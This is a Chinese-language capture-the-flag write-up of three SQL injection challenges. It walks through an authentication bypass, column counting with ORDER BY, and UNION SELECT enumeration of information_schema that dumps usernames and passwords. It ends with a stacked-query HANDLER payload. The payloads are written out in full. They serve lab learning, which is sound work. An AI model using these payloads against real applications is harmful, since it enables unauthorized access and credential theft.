[极客大挑战 2019]EasySQL
这道题是非常基础的sql注入
进去之后就是一个登录界面，输入万能钥匙就能实现查到flag
1' or 1=1 # //用户名 1 //密码随意[极客大挑战 2019]LoveSQL
这个也是sql注入的一种是命令执行注入
用万能钥匙注入后确实可以实现绕过，说明存在注入漏洞
但现在访问后没有flag，后尝试从别的角度入手，也许是还存在一个数据库可以访问，
从某一方面将union来实现访问一个网站后再访问另一个网站，也就是用union来拼接我们真正想要访问的；
但再用union之前先要知道访问的表里面有哪些是会出现回显的字段，
所以要先查表来就确定有几个字段
1' order by 4 #order by 列名；
order by原本是 MySQL 原生语法：对查询结果按照某一列排序。
它再sql注入时可以用来尝试测试有多少列，由于他的特性，在列数超过实际的列数时就会导致出现错误，可以这一特点来测试有多少列
当我用order by 3时会出现
代表访问不了而不是报错
代表当4时就已经超出了列数，表明要表内就是3列
后就是需要查阅相关的回显的是哪几列就输入一下内容
1' union select 1,2,3#让后在后端运行的代码就是
select * from 表 where username='1'union select 1,2,3#' and password='1'就是这样可以就看到是2和3位置是回显的，
可以看到3的字段都是password，尝试去进行爆破
select id,username,password from geekuser where username='$用户输入' and password='$pass'select id,username,password from geekuser where username='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #' and password='$pass'拼接后就是这个样子，
就呢个够查到表的名称，看到另一个是l0ve1ysq1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#不敢想现在的flag都是全随机的
[强网杯 2019]随便注
1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#
